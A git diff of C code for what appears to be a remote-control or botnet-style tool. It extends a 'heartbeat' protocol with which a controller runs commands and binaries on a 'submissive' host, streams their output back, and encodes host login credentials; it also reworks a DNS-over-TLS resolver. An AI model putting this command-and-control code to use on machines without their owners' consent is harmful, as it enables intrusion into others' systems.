- memcmp(a->mem, b->mem, a->mem_len) == 0;
+ memcmp(a->mem, b->mem, a->mem_len) == 0))
+ {
+ return false;
+ }
+
+ for (size_t i = 0; i < a->argc; i += 1) {
+ if (!prne_nstreq(a->args[i], b->args[i])) {
+ return false;
+ }
+ }
+
+ return true;
}
void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb) {
@@ -385,6 +396,21 @@ bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_m
prne_htbt_eq_cmd(&a->cmd, &b->cmd);
}
+void prne_htbt_init_stdio (prne_htbt_stdio_t *s) {
+ s->len = 0;
+ s->err = false;
+ s->fin = false;
+}
+
+void prne_htbt_free_stdio (prne_htbt_stdio_t *s) {}
+
+bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b) {
+ return
+ a->len == b->len &&
+ a->err == b->err &&
+ a->fin == b->fin;
+}
+
prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in) {
uint16_t id;
@@ -526,6 +552,24 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, s
return PRNE_HTBT_SER_RC_OK;
}
+prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in) {
+ *actual = 2;
+ if (in->len > PRNE_HTBT_STDIO_LEN_MAX) {
+ return PRNE_HTBT_SER_RC_FMT_ERR;
+ }
+ if (mem_len < *actual) {
+ return PRNE_HTBT_SER_RC_MORE_BUF;
+ }
+
+ mem[0] =
+ (in->err ? 0x80 : 0) |
+ (in->fin ? 0x40 : 0) |
+ (prne_getmsb16(in->len, 0) & 0x0F);
+ mem[1] = prne_getmsb16(in->len, 1);
+
+ return PRNE_HTBT_SER_RC_OK;
+}
+
prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out) {
*actual = 3;
@@ -635,59 +679,55 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t l
}
prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out) {
- uint_fast16_t args_len, argc = 0;
+ size_t args_len, argc;
char **args = NULL;
char *mem = NULL;
prne_htbt_ser_rc_t ret = PRNE_HTBT_SER_RC_OK;
- size_t i, str_len;
- char *ptr;
+ int saved_errno;
*actual = 2;
if (len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
}
- args_len = prne_recmb_msb16(0x0F & data[0], data[1]);
+ args_len = prne_recmb_msb16(0x03 & data[0], data[1]);
*actual += args_len;
if (len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
}
- if (args_len > PRNE_HTBT_ARG_MEM_MAX || (args_len > 0 && data[args_len + 1] != 0)) {
- return PRNE_HTBT_SER_RC_FMT_ERR;
- }
-
- for (i = 0; i < args_len; i += 1) {
- if (data[2 + i] == 0) {
- argc += 1;
- if (argc > PRNE_HTBT_ARGS_MAX) {
- return PRNE_HTBT_SER_RC_FMT_ERR;
- }
- }
- }
- args = (char**)prne_malloc(sizeof(char*), argc + 1);
mem = (char*)prne_malloc(1, args_len);
- if (args == NULL || mem == NULL) {
+ if (mem == NULL) {
ret = PRNE_HTBT_SER_RC_ERRNO;
goto END;
}
-
memcpy(mem, data + 2, args_len);
- ptr = mem;
- for (i = 0; i < argc; i += 1) {
- str_len = strlen(ptr);
- args[i] = ptr;
- ptr += str_len + 1;
+ saved_errno = errno;
+ errno = 0;
+ args = prne_htbt_parse_args(
+ mem,
+ args_len,
+ 0,
+ NULL,
+ &argc,
+ PRNE_HTBT_ARGS_MAX);
+ if (args == NULL) {
+ ret =
+ errno != 0 ?
+ PRNE_HTBT_SER_RC_ERRNO :
+ PRNE_HTBT_SER_RC_FMT_ERR;
+ goto END;
}
- args[argc] = NULL;
+ errno = saved_errno;
prne_htbt_free_cmd(out);
out->mem = mem;
out->mem_len = args_len;
out->args = args;
out->argc = argc;
+ out->detach = (0x04 & data[0]) != 0;
mem = NULL;
args = NULL;
@@ -715,3 +755,65 @@ prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t le
return PRNE_HTBT_SER_RC_OK;
}
+
+prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out) {
+ *actual = 2;
+ if (len < *actual) {
+ return PRNE_HTBT_SER_RC_MORE_BUF;
+ }
+
+ out->err = (data[0] & 0x80) != 0;
+ out->fin = (data[0] & 0x40) != 0;
+ out->len = prne_recmb_msb16(data[0] & 0x0F, data[1]);
+
+ return PRNE_HTBT_SER_RC_OK;
+}
+
+char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args) {
+ char *ptr, *end = m_args + args_size, *next;
+ size_t i, cnt;
+ char **ret;
+
+ cnt = 0;
+ ptr = m_args;
+ while (ptr < end) {
+ next = prne_strnchr(ptr, 0, end - ptr);
+ if (next == NULL) {
+ return NULL; // reject non-null-terminated
+ }
+ else {
+ if (next - ptr > 0) {
+ cnt += 1;
+ }
+ ptr = next + 1;
+ }
+ }
+ cnt += add_argc;
+ if (cnt > max_args) {
+ return NULL;
+ }
+
+ ret = (char**)prne_malloc(sizeof(char*), cnt + 1);
+ if (ret == NULL) {
+ return NULL;
+ }
+ ret[cnt] = NULL;
+ if (argc != NULL) {
+ *argc = cnt;
+ }
+
+ for (i = 0; i < add_argc; i +=1) {
+ ret[i] = add_args[i];
+ }
+
+ ptr = m_args;
+ while (ptr < end) {
+ next = prne_strnchr(ptr, 0, end - ptr);
+ if (next - ptr > 0) {
+ ret[i++] = ptr;
+ }
+ ptr = next + 1;
+ }
+
+ return ret;
+}
diff --git a/src/protocol.h b/src/protocol.h
index 09fa837..0b49f78 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -15,6 +15,7 @@ typedef struct prne_htbt_host_info prne_htbt_host_info_t;
typedef struct prne_htbt_msg_head prne_htbt_msg_head_t;
typedef struct prne_htbt_cmd prne_htbt_cmd_t;
typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t;
+typedef struct prne_htbt_stdio prne_htbt_stdio_t;
typedef enum {
PRNE_ARCH_NONE = -1,
@@ -59,8 +60,9 @@ struct prne_host_cred {
char *pw;
};
-/* All messages start with uint16_t 'msg_id', whose most significant bit is used
-* to indicate whether the message is a initiation(1) or a response(0).
+/* Heartbeat Frame OP Codes
+* All messages start with uint16_t 'msg_id', whose most significant bit is
+* used to indicate whether the message is a initiation(1) or a response(0).
* 'msg_id' is a randomly generated by either end of connection. The value 0 is
* only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24
* zeros over the wire).
@@ -78,7 +80,7 @@ typedef enum {
* uint8_t code: prne_htbt_status_t
* int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`)
*/
- PRNE_HTBT_OP_STATUS,
+ PRNE_HTBT_OP_STATUS,
/* Host Info Operation: followed by nothing
*
* The submissive end's response format:
@@ -120,8 +122,9 @@ typedef enum {
* TODO
*
* Followed by
- * uint4_t rsv
- * uint12_t args_len : the length of 'args'
+ * uint5_t rsv
+ * uint1_t detach
+ * uint10_t args_len : the length of 'args'
* char args[len] : the series of null-terminated string for exec*()
*/
PRNE_HTBT_OP_RUN_CMD,
@@ -130,8 +133,9 @@ typedef enum {
*
* Followed by:
* uint24_t bin_len
- * uint4_t rsv
- * uint12_t args_len
+ * uint5_t rsv
+ * uint1_t detach
+ * uint10_t args_len
* char args[args_len]
* uint8_t bin[bin_len]
*/
@@ -141,12 +145,21 @@ typedef enum {
*
* Followed by:
* uint24_t bin_len
- * uint4_t rsv
- * uint12_t args_len
+ * uint5_t rsv
+ * uint1_t detach
+ * uint10_t args_len
* char args[args_len]
* uint8_t bin[bin_len]
*/
PRNE_HTBT_OP_RUN_BIN,
+ /* STDIO Frame
+ *
+ * uint1_t err : 0 - stdin/stdout, 1 - stderr
+ * uint1_t fin
+ * uint2_t rsv
+ * uint12_t len
+ */
+ PRNE_HTBT_OP_STDIO,
NB_PRNE_HTBT_OP
} prne_htbt_op_t;
@@ -154,6 +167,7 @@ PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE);
typedef enum {
PRNE_HTBT_STATUS_OK,
+ PRNE_HTBT_STATUS_UNIMPL,
/* Protocol error detected. Mosts likely a format error.
* An int32_t that follows is not used.
*/
@@ -209,7 +223,8 @@ struct prne_htbt_cmd {
char *mem;
size_t mem_len;
char **args;
- uint16_t argc;
+ uint8_t argc;
+ bool detach;
};
struct prne_htbt_bin_meta {
@@ -217,16 +232,35 @@ struct prne_htbt_bin_meta {
prne_htbt_cmd_t cmd;
};
-typedef void(prne_htbt_init_ft)(void *ptr);
-typedef void(prne_htbt_free_ft)(const void *ptr);
-typedef bool(prne_htbt_eq_ft)(const void *a, const void *b);
-typedef prne_htbt_ser_rc_t(prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in);
-typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out);
+struct prne_htbt_stdio {
+ size_t len;
+ bool err;
+ bool fin;
+};
+
+typedef void(*prne_htbt_init_ft)(void *ptr);
+typedef void(*prne_htbt_free_ft)(const void *ptr);
+typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b);
+typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in);
+typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out);
-#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO
#define PRNE_HTBT_PROTO_PORT (uint16_t)64420
-#define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv
-#define PRNE_HTBT_ARG_MEM_MAX 4095 // bash limit
+#define PRNE_HTBT_ARGS_MAX 255 // _POSIX_ARG_MAX equiv
+#define PRNE_HTBT_ARG_MEM_MAX 1023
+#define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF
+
+/* PRNE_HTBT_PROTO_MIN_BUF
+*
+* Minimum size of buffer required to implement parsing of stream. Set to size
+* required to deserialise PRNE_HTBT_OP_NY_BIN and PRNE_HTBT_OP_RUN_BIN.
+*/
+#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX)
+/* PRNE_HTBT_PROTO_SUB_MIN_BUF
+*
+* Required write buffer size for submissive end. Set to that of
+* PRNE_HTBT_OP_HOST_INFO.
+*/
+#define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 94 + 255)
const char *prne_arch_tostr (const prne_arch_t x);
@@ -249,6 +283,7 @@ void prne_init_host_cred (prne_host_cred_t *hc);
bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len);
void prne_free_host_cred (prne_host_cred_t *hc);
bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b);
+// TODO: base64 encode
prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in);
prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out);
@@ -258,7 +293,7 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi);
bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b);
void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd);
-bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len);
+bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len);
bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args);
void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd);
bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b);
@@ -267,14 +302,22 @@ void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb);
void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb);
bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b);
+void prne_htbt_init_stdio (prne_htbt_stdio_t *s);
+void prne_htbt_free_stdio (prne_htbt_stdio_t *s);
+bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b);
+
prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in);
prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in);
prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in);
prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in);
prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in);
prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out);
prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out);
prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out);
prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out);
prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out);
+
+char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args);
diff --git a/src/pth.c b/src/pth.c
index 2f8bbe4..1b7f261 100644
--- a/src/pth.c
+++ b/src/pth.c
@@ -26,12 +26,12 @@ void prne_fin_worker (prne_worker_t *w) {
}
}
-bool prne_pth_cv_notify (prne_pth_cv_t *cv) {
+bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) {
bool ret;
- if (pth_mutex_acquire(cv->lock, FALSE, NULL)) {
- ret = pth_cond_notify(cv->cond, cv->broadcast) == 0;
- prne_assert(pth_mutex_release(cv->lock));
+ if (pth_mutex_acquire(lock, FALSE, NULL)) {
+ ret = pth_cond_notify(cond, broadcast) != 0;
+ prne_dbgtrap(pth_mutex_release(lock));
}
else {
ret = false;
@@ -40,71 +40,6 @@ bool prne_pth_cv_notify (prne_pth_cv_t *cv) {
return ret;
}
-bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached) {
- pth_event_t ev;
- bool ret, reached;
-
- if (timeout != NULL) {
- ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000));
- prne_assert(ev != NULL);
- }
- else {
- ev = NULL;
- }
-
- prne_assert(pth_mutex_acquire(cv->lock, FALSE, NULL));
- ret = pth_cond_await(cv->cond, cv->lock, ev) != 0;
- prne_assert(pth_mutex_release(cv->lock));
-
- if (ev != NULL && pth_event_occurred(ev)) {
- ret = true;
- reached = true;
- }
- else {
- reached = false;
- }
-
- if (to_reached != NULL) {
- *to_reached = reached;
- }
-
- pth_event_free(ev, FALSE);
- return ret;
-}
-
-int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout) {
- pth_event_t ev;
- int ret;
-
- if (timeout != NULL) {
- ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000));
- if (ev == NULL) {
- return -1;
- }
- }
- else {
- ev = NULL;
- }
-
- do {
- ret = pth_poll_ev(fds, nfds, -1, ev);
- if (ev != NULL && pth_event_occurred(ev)) {
- ret = 0;
- break;
- }
- if (ret < 0 && errno == EINTR) {
- continue;
- }
- } while (false);
-
- pth_event_free(ev, FALSE);
- return ret;
-}
-
-void prne_unint_pth_nanosleep (struct timespec dur) {
- struct timespec rem;
-
- while (pth_nanosleep(&dur, &rem) < 0 && errno == EINTR) {
- dur = rem;
- }
+pth_time_t prne_pth_tstimeout (const struct timespec ts) {
+ return pth_timeout(ts.tv_sec, ts.tv_nsec / 1000);
}
diff --git a/src/pth.h b/src/pth.h
index 172e6cf..ee6901b 100644
--- a/src/pth.h
+++ b/src/pth.h
@@ -25,7 +25,5 @@ void prne_init_worker (prne_worker_t *w);
void prne_free_worker (prne_worker_t *w);
void prne_fin_worker (prne_worker_t *w);
-bool prne_pth_cv_notify (prne_pth_cv_t *cv);
-bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached);
-int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout);
-void prne_unint_pth_nanosleep (struct timespec dur);
+bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast);
+pth_time_t prne_pth_tstimeout (const struct timespec ts);
diff --git a/src/resolv.c b/src/resolv.c
index c382aad..ddf6921 100644
--- a/src/resolv.c
+++ b/src/resolv.c
@@ -1,4 +1,5 @@
#include "resolv.h"
+#include "endian.h"
#include "util_rt.h"
#include "util_ct.h"
#include "llist.h"
@@ -6,7 +7,7 @@
#include "iset.h"
#include "protocol.h"
#include "mbedtls.h"
-#include "config.h"
+#include "iobuf.h"
#include <stdlib.h>
#include <string.h>
@@ -50,16 +51,14 @@ typedef struct {
} query_entry_t;
struct prne_resolv {
- size_t read_cnt_len;
- size_t write_cnt_len;
struct pollfd act_sck_pfd;
size_t ptr_nspool4, ptr_nspool6;
prne_resolv_ns_pool_t nspool4, nspool6;
pth_mutex_t lock;
pth_cond_t cond;
resolv_ctx_state_t ctx_state;
- uint8_t write_buf[514];
- uint8_t read_buf[514];
+ prne_iobuf_t iobuf[2];
+ uint8_t m_buf[2][514];
prne_llist_t qlist;
prne_imap_t qid_map; // uint16_t:q_ent(could be null)
struct {
@@ -248,11 +247,12 @@ static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv,
prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
q_ent->qlist_ent = prne_llist_append(&ctx->qlist, q_ent);
if (q_ent->qlist_ent == NULL) {
+ pth_mutex_release(&ctx->lock);
goto ERR;
}
q_ent->tp_queued = prne_gettime(CLOCK_MONOTONIC);
- pth_cond_notify(&ctx->cond, FALSE);
- prne_assert(pth_mutex_release(&ctx->lock));
+ prne_assert(pth_cond_notify(&ctx->cond, FALSE));
+ pth_mutex_release(&ctx->lock);
out->ctx = q_ent;
out->fut = &q_ent->fut;
@@ -275,7 +275,10 @@ static void resolv_disown_qent (query_entry_t *qent) {
qent->qlist_ent = NULL;
qent->qid = 0;
if (qent->cv != NULL) {
- prne_pth_cv_notify(qent->cv);
+ prne_pth_cv_notify(
+ qent->cv->lock,
+ qent->cv->cond,
+ qent->cv->broadcast);
}
}
@@ -302,7 +305,7 @@ static uint16_t resolv_next_qid (prne_resolv_t *ctx) {
return 0;
}
-static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) { // TODO: take errno as param
+static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) {
size_t i;
query_entry_t *qent;
prne_llist_entry_t *lent;
@@ -330,13 +333,21 @@ static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause,
prne_shutdown(ctx->act_sck_pfd.fd, SHUT_RDWR);
prne_close(ctx->act_sck_pfd.fd);
ctx->act_sck_pfd.fd = -1;
- ctx->read_cnt_len = 0;
- ctx->write_cnt_len = 0;
+ prne_iobuf_reset(&ctx->iobuf[0]);
+ prne_iobuf_reset(&ctx->iobuf[1]);
mbedtls_ssl_free(&ctx->ssl.ctx);
mbedtls_ssl_init(&ctx->ssl.ctx);
if (pause != NULL) {
- prne_unint_pth_nanosleep(*pause);
+ pth_event_t ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(*pause));
+ pth_status_t s;
+
+ do {
+ pth_wait(ev);
+ s = pth_event_status(ev);
+ } while (s == PTH_STATUS_PENDING);
}
if (change_srvr) {
ctx->ptr_nspool4 = resolv_next_pool_ptr(ctx, ctx->nspool4.cnt);
@@ -351,6 +362,7 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
int optval, pollret;
const struct timespec *err_sleep = NULL;
bool ret = false;
+ pth_event_t ev = NULL;
{
static const int ov_nodelay = 1;
@@ -364,23 +376,20 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
(struct sockaddr*)&sa6,
(struct sockaddr*)&sa4 };
- memzero(&sa6, sizeof(sa6));
- memzero(&sa4, sizeof(sa4));
+ prne_memzero(&sa6, sizeof(sa6));
+ prne_memzero(&sa4, sizeof(sa4));
prne_net_ep_tosin6(ctx->nspool6.arr + ctx->ptr_nspool6, &sa6);
prne_net_ep_tosin4(ctx->nspool4.arr + ctx->ptr_nspool4, &sa4);
for (i = 0; i < 2; i += 1) {
pfs[i].fd = socket(ARR_DOMAIN[i], SOCK_STREAM, 0);
pfs[i].events = POLLOUT;
- if (pfs[i].fd < 0) {
- goto ERR;
- }
- if (fcntl(pfs[i].fd, F_SETFL, O_NONBLOCK) != 0) {
+ if (pfs[i].fd < 0 || !prne_sck_fcntl(pfs[i].fd)) {
goto ERR;
}
setsockopt(
pfs[i].fd,
- SOL_TCP,
+ SOL_SOCKET,
TCP_NODELAY,
&ov_nodelay,
sizeof(int));
@@ -408,10 +417,29 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
}
err_sleep = &RESOLV_CONN_ERR_PAUSE;
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT));
+ prne_assert(ev != NULL);
while (pfs[0].fd >= 0 || pfs[1].fd >= 0) {
- pollret = prne_unint_pth_poll(pfs, 2, &RESOLV_SCK_OP_TIMEOUT);
- if (pollret > 0) {
+ pth_status_t st;
+
+ pollret = pth_poll_ev(pfs, 2, -1, ev);
+ st = pth_event_status(ev);
+
+ if (st == PTH_STATUS_OCCURRED) {
+ break;
+ }
+ else if (pollret < 0 && errno == EINTR) {
+ continue;
+ }
+ else if (pollret > 0) {
for (i = 0; i < 2; i += 1) {
+ if (pfs[i].fd < 0) {
+ continue;
+ }
+
if (pfs[i].revents & (POLLHUP | POLLERR | POLLNVAL)) {
prne_close(pfs[i].fd);
pfs[i].fd = -1;
@@ -436,72 +464,61 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
}
}
}
- else if (pollret < 0) {
- err_sleep = &RESOLV_RSRC_ERR_PAUSE;
- break;
- }
else {
- err_sleep = NULL;
+ err_sleep = &RESOLV_RSRC_ERR_PAUSE;
break;
}
}
END:
+ pth_event_free(ev, FALSE);
prne_close(pfs[0].fd);
prne_close(pfs[1].fd);
if (!ret && err_sleep != NULL) {
- prne_unint_pth_nanosleep(*err_sleep);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ pth_timeout(err_sleep->tv_sec, err_sleep->tv_nsec / 1000));
+ prne_assert(ev != NULL);
+ do {
+ pth_wait(ev);
+ } while (pth_event_status(ev) == PTH_STATUS_PENDING);
}
+
return ret;
}
-static bool resolv_tls_handshake (prne_resolv_t *ctx) {
- int pollret;
- bool ret = false;
- const struct timespec *err_sleep = NULL;
+static bool resolv_ensure_conn (prne_resolv_t *ctx) {
+ if (ctx->act_sck_pfd.fd < 0) {
+ pth_event_t ev;
+ bool ret = false;
- while (true) {
- switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) {
- case MBEDTLS_ERR_SSL_WANT_READ:
- ctx->act_sck_pfd.events = POLLIN;
- break;
- case MBEDTLS_ERR_SSL_WANT_WRITE:
- ctx->act_sck_pfd.events = POLLOUT;
- break;
- case 0:
- ret = true;
- goto END;
- default:
- err_sleep = &RESOLV_CONN_ERR_PAUSE;
- goto END;
- }
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT));
- pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_OP_TIMEOUT);
- if (pollret < 0) {
- err_sleep = &RESOLV_RSRC_ERR_PAUSE;
- goto END;
- }
- else if (pollret == 0) {
+ if (!resolv_ensure_act_dns_fd(ctx)) {
goto END;
}
- else if (ctx->act_sck_pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) {
- err_sleep = &RESOLV_CONN_ERR_PAUSE;
+ if (!prne_mbedtls_pth_handle(
+ &ctx->ssl.ctx,
+ mbedtls_ssl_handshake,
+ ctx->act_sck_pfd.fd,
+ ev))
+ {
+ if (pth_event_status(ev) != PTH_STATUS_OCCURRED) {
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(RESOLV_CONN_ERR_PAUSE));
+ pth_wait(ev);
+ }
goto END;
}
- }
+ ret = true;
END:
- if (!ret) {
- resolv_close_sck(ctx, err_sleep, true);
- }
- return ret;
-}
-
-static bool resolv_ensure_conn (prne_resolv_t *ctx) {
- if (ctx->act_sck_pfd.fd < 0) {
- if (!(resolv_ensure_act_dns_fd(ctx) &&
- resolv_tls_handshake(ctx)))
- return false;
+ pth_event_free(ev, FALSE);
+ return ret;
}
return true;
@@ -947,7 +964,7 @@ static bool resolv_send_dns_msgs (prne_resolv_t *ctx) {
dot_msg_len = resolv_calc_dot_msg_len(qent);
dns_msg_len = dot_msg_len - 2;
- if (dot_msg_len + ctx->write_cnt_len <= sizeof(ctx->write_buf)) {
+ if (dot_msg_len + ctx->iobuf[1].len <= ctx->iobuf[1].avail) {
qid = resolv_next_qid(ctx);
if (qid == 0) {
qent->fut.qr = PRNE_RESOLV_QR_ERR;
@@ -969,12 +986,13 @@ static bool resolv_send_dns_msgs (prne_resolv_t *ctx) {
else {
cur = prne_llist_erase(&ctx->qlist, cur);
- ctx->write_buf[ctx->write_cnt_len + 0] = (uint8_t)((dns_msg_len & 0xFF00) >> 8);
- ctx->write_buf[ctx->write_cnt_len + 1] = (uint8_t)(dns_msg_len & 0x00FF);
+ ctx->iobuf[1].m[ctx->iobuf[1].len + 0] =
+ prne_getmsb16(dns_msg_len, 0);
+ ctx->iobuf[1].m[ctx->iobuf[1].len + 1] =
+ prne_getmsb16(dns_msg_len, 1);
qent->qid = qid;
- resolv_write_dns_msg(qent, ctx->write_buf + ctx->write_cnt_len + 2);
-
- ctx->write_cnt_len += dot_msg_len;
+ resolv_write_dns_msg(qent, ctx->iobuf[1].m + ctx->iobuf[1].len + 2);
+ prne_iobuf_shift(ctx->iobuf + 1, dot_msg_len);
ret |= true;
}
}
@@ -1014,15 +1032,14 @@ static void resolv_proc_q (prne_resolv_t *ctx) {
* The server could be sending gibberish response messages that look legit.
* Timeout the loop when we don't receive response we recognise in time.
*/
- struct timespec last_proc, now, delta, op_rem;
+ pth_event_t ev = NULL;
LOOP:
- last_proc = prne_gettime(CLOCK_MONOTONIC);
proc = false;
while (ctx->qlist.size > 0 || ctx->qid_map.size > 0) {
resolv_proc_expired(ctx);
- if (ctx->write_cnt_len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) {
+ if (ctx->iobuf[1].len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) {
pfd_events = POLLIN | POLLOUT;
}
else {
@@ -1033,22 +1050,22 @@ LOOP:
goto LOOP;
}
- now = prne_gettime(CLOCK_MONOTONIC);
- if (proc) {
- last_proc = now;
+ if (proc || ev == NULL) {
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT));
}
proc = false;
- delta = prne_sub_timespec(now, last_proc);
- if (prne_cmp_timespec(delta, RESOLV_SCK_OP_TIMEOUT) >= 0) {
- resolv_close_sck(ctx, NULL, true);
- goto LOOP;
- }
- op_rem = prne_sub_timespec(RESOLV_SCK_OP_TIMEOUT, delta);
ctx->act_sck_pfd.events = pfd_events;
- pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &op_rem);
+ prne_assert(ev != NULL); // fatal without timeout
+ pollret = pth_poll_ev(&ctx->act_sck_pfd, 1, -1, ev);
- if (pollret > 0) {
+ if (pth_event_status(ev) != PTH_STATUS_PENDING) {
+ resolv_close_sck(ctx, NULL, true);
+ }
+ else if (pollret > 0) {
if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
goto LOOP;
@@ -1057,25 +1074,32 @@ LOOP:
size_t pos, msg_len;
bool err_flag = false;
